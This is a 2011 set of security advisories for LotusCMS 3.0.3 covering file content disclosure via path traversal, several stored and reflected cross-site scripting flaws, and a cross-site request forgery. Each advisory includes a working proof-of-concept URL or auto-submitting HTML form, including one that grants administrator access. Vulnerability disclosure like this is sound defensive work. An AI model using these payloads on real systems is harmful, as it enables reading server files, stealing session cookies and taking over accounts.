Lotus CMS 3.0.3 XSRF / XSS / File Content Disclosure

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Vulnerability ID: HTB22888  
Reference: http://www.htbridge.ch/advisory/file_content_disclosure_in_lotuscms.html  
Product: LotusCMS  
Vendor: Arboroia Network ( http://www.lotuscms.org/ )   
Vulnerable Version: 3.0.3 and probably prior versions  
Vendor Notification: 01 March 2011   
Vulnerability Type: File Content Disclosure  
Risk level: High   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
An attacker can disclose arbitrary local file content.  
  
The vulnerability exists due to failure in the "core/model/PageModel.php" script to properly sanitize user-supplied input in "page" variable. An attacker can compromise the application, get configuration and password files content. Access to this information could lead attacker in launching further attacks against the target system.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
http://host/index.php?page=./../../../../../etc/passwd%00  
  
============================  
Vulnerability ID: HTB22883  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_lotuscms.html  
Product: LotusCMS  
Vendor: Arboroia Network ( http://www.lotuscms.org/ )   
Vulnerable Version: 3.0.3 and probably prior versions  
Vendor Notification: 01 March 2011   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "core/model/GeneralSettingsModel.php" script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/index.php?system=GeneralSettings&page=edit" method="post" name="main">  
<input type="hidden" name="title" value='Lotus CMS"><script>alert(document.cookie)</script>'>  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
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Vulnerability ID: HTB22884  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_lotuscms_1.html  
Product: LotusCMS  
Vendor: Arboroia Network ( http://www.lotuscms.org/ )   
Vulnerable Version: 3.0.3 and probably prior versions  
Vendor Notification: 01 March 2011   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "core/model/SEOModel.php" script to properly sanitize user-supplied input in "seodescription" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/index.php?system=SEO&page=edit" method="post" name="main">  
<input type="hidden" name="seokeywords" value="LotusCMS">  
<input type="hidden" name="seodescription" value='description"><script>alert(document.cookie)</script>'>  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
============================  
Vulnerability ID: HTB22885  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_lotuscms_2.html  
Product: LotusCMS  
Vendor: Arboroia Network ( http://www.lotuscms.org/ )   
Vulnerable Version: 3.0.3 and probably prior versions  
Vendor Notification: 01 March 2011   
Vulnerability Type: XSS (Cross Site Scripting)  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "core/model/PageModel.php" script to properly sanitize user-supplied input in "page" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
http://host/index.php?page=%00"><script>alert(document.cookie)</script>  
  
  
============================  
Vulnerability ID: HTB22886  
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_lotuscms.html  
Product: LotusCMS  
Vendor: Arboroia Network ( http://www.lotuscms.org/ )   
Vulnerable Version: 3.0.3 and probably prior versions  
Vendor Notification: 01 March 2011   
Vulnerability Type: CSRF (Cross-Site Request Forgery)  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "core/model/UsersModel.php" script to properly verify the source of HTTP request.  
  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/index.php?system=Users&page=edit&active=USERNAME" method="post" name="main">  
<input type="hidden" name="name" value="test">  
<input type="hidden" name="email" value="[email protected]">  
<input type="hidden" name="password1" value="">  
<input type="hidden" name="password2" value="">  
<input type="hidden" name="access" value="administrator">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
============================  
Vulnerability ID: HTB22887  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_lotuscms_3.html  
Product: LotusCMS  
Vendor: Arboroia Network ( http://www.lotuscms.org/ )   
Vulnerable Version: 3.0.3 and probably prior versions  
Vendor Notification: 01 March 2011   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "modules/Menu/MenuModuleAdmin.php" script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/index.php?system=Modules&page=admin&active=Menu&req=save&id=3" method="post" name="main">  
<input type="hidden" name="title" value='lotus"><script>alert(document.cookie)</script>'>  
<input type="hidden" name="external" value="http://host">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
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